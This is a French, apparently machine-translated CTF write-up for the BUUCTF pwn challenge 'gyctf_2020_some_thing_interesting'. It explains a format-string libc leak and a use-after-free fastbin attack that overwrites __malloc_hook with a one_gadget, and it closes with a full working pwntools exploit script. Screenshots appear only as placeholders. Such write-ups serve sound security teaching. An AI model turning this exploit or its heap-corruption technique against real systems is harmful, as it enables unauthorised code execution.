[BUUCTF] PWN —— gyctf_2020_some_thing_interesting (chaîne de format + UAF)

gyctf_2020_some_thing_interesting

annexe

étape

  1. Inspection de routine, programme 64 bits, protection complète
    Insérez la description de l'image ici
  2. Essayez d'exécuter le programme localement pour voir la situation générale
    Insérez la description de l'image ici

  3. Insérez la description de l'image ici
    Ida 64 bits charge sub_B7A ()
    Insérez la description de l'image ici
    check ()
    Insérez la description de l'image ici
    create (), s'appliquera pour deux morceaux
    Insérez la description de l'image ici
    modify ()
    Insérez la description de l'image icidelete ()
    Insérez la description de l'image ici

Utilisez des idées:

  1. Utilisez des vulnérabilités de chaîne de format pour divulguer la libc
  2. Utilisez uaf pour changer malloc_hook en one_gadge
  3. Appelez add, déclenchez malloc, récupérez le shell

Processus d'utilisation

  1. Déplacez-le d'abord. Utilisez la vulnérabilité du caractère de formatage pour fuir la libc.
    Enregistrez le processus de déplacement.
    Gdb démarre le débogage et r s'exécute. Puisque vous ne savez pas quel est le décalage, vous pouvez entrer un décalage,
    Insérez la description de l'image ici
    puis sélectionner 0 pour appeler la fonction de vérification pour déclencher le caractère de formatage. Vulnérabilité de chaîne, vérifier le contenu imprimé, voir que le contenu à l'offset 12 est 0x555555555680
    Insérez la description de l'image ici
    ctrl + c pour terminer le programme, afficher la mise en page sur la pile, trouver l'offset 12, trouver libc_start_main + 240 (libc Une fonction dans), avec elle, nous pouvons fuir la libc.
    Insérez la description de l'image ici
    Il doit y avoir des gens qui sont curieux. N'y a-t-il pas 0x555555555555680 à 0xd70? Regardez le décalage 16 pour résoudre ce doute
    Insérez la description de l'image ici
r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO%17$p")	#elf 11 libc 17

r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
r.recvuntil('0x')

start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']

Ici, nous avons réussi à divulguer la libc

  1. L'utilisation des vulnérabilités uaf,
    voir les six méthodes d'utilisation du tas , voici un petit record à
    appliquer pour deux chunks (les deux fast bins), release chunk1, car fastbin ne vérifie pas l'alignement lors de l'allocation, définit le fd de fastbin Pour __malloc_hook-0x23, déclenchez l'attaque fastbin pour allouer de l'espace mémoire au-dessus de malloc_hook
add(0x68, 'aaaa', 0x68, 'bbbb')
delete(1)
edit(1,'\x00'*8,p64(malloc_hook-0x23))

Insérez la description de l'image ici

Maintenant, le pointeur fd de chunk1 pointe vers l'espace au-dessus de malloc_hook. À ce stade, nous pouvons demander l'espace de malloc_hook en appliquant pour chunk, afin que nous puissions écrire one_gadget dans malloc_hook pour obtenir la permission.

payload='a'*(0x13)+p64(one_gadget)
add(0x68,'a'*8,0x68,payload)

Ensuite, choisissez 1, entrez-le et déclenchez malloc pour obtenir le shell.
Je pense que le wp des autres maîtres doit utiliser realloc pour ajuster la pile de cadres, mais lorsque je l'utilise, je peux directement le changer en one_gadget. Pour plus de détails sur comment utiliser realloc pour ajuster la pile de cadres, voir le tas. Six façons d’utiliser

Exp complète

from pwn import *

#r=remote("node3.buuoj.cn",26634)
r=process('./gyctf_2020_some_thing_interesting')
elf=('./gyctf_2020_some_thing_interesting')
libc=ELF('../../pwn_libc/libc-2.23(64).so')

#context.log_level = 'debug'

one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size1, content1, size2, content2):
	r.recvuntil("#######################\n")
	r.sendline('1')
	r.recvuntil("> O's length : ")
	r.sendline(str(size1))
	r.recvuntil("> O : ")
	r.send(content1)
	r.recvuntil("> RE's length : ")
	r.sendline(str(size2))
	r.recvuntil("> RE : ")
	r.send(content2)

def delete(index):
	r.recvuntil("#######################\n")
	r.sendline('3')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))

def show(index):
	r.recvuntil("#######################\n")
	r.sendline('4')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))

def edit(index, content1, content2):
	r.recvuntil("#######################\n")
	r.sendline('2')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))
	r.recvuntil("> O : ")
	r.sendline(content1)
	r.recvuntil("> RE : ")
	r.sendline(content2)

r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO%17$p")	#elf 11 libc 17

r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
r.recvuntil('0x')

start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']


malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget_16[3] + libc.address
#realloc=libc.address+libc.sym['__realloc_hook']

success("start+main"+hex(start_main))
success("libc_base:"+hex(libc.address))


add(0x68, 'aaaa', 0x68, 'bbbb')
delete(1)
edit(1,'\x00'*8,p64(malloc_hook-0x23))
#gdb.attach(r)

payload='a'*(0x13)+p64(one_gadget)
add(0x68,'a'*8,0x68,payload)

#gdb.attach(r)

r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(0x68))

r.interactive()

Insérez la description de l'image ici

Je suppose que tu aimes

Origine blog.csdn.net/mcmuyanga/article/details/114643601
conseillé
Classement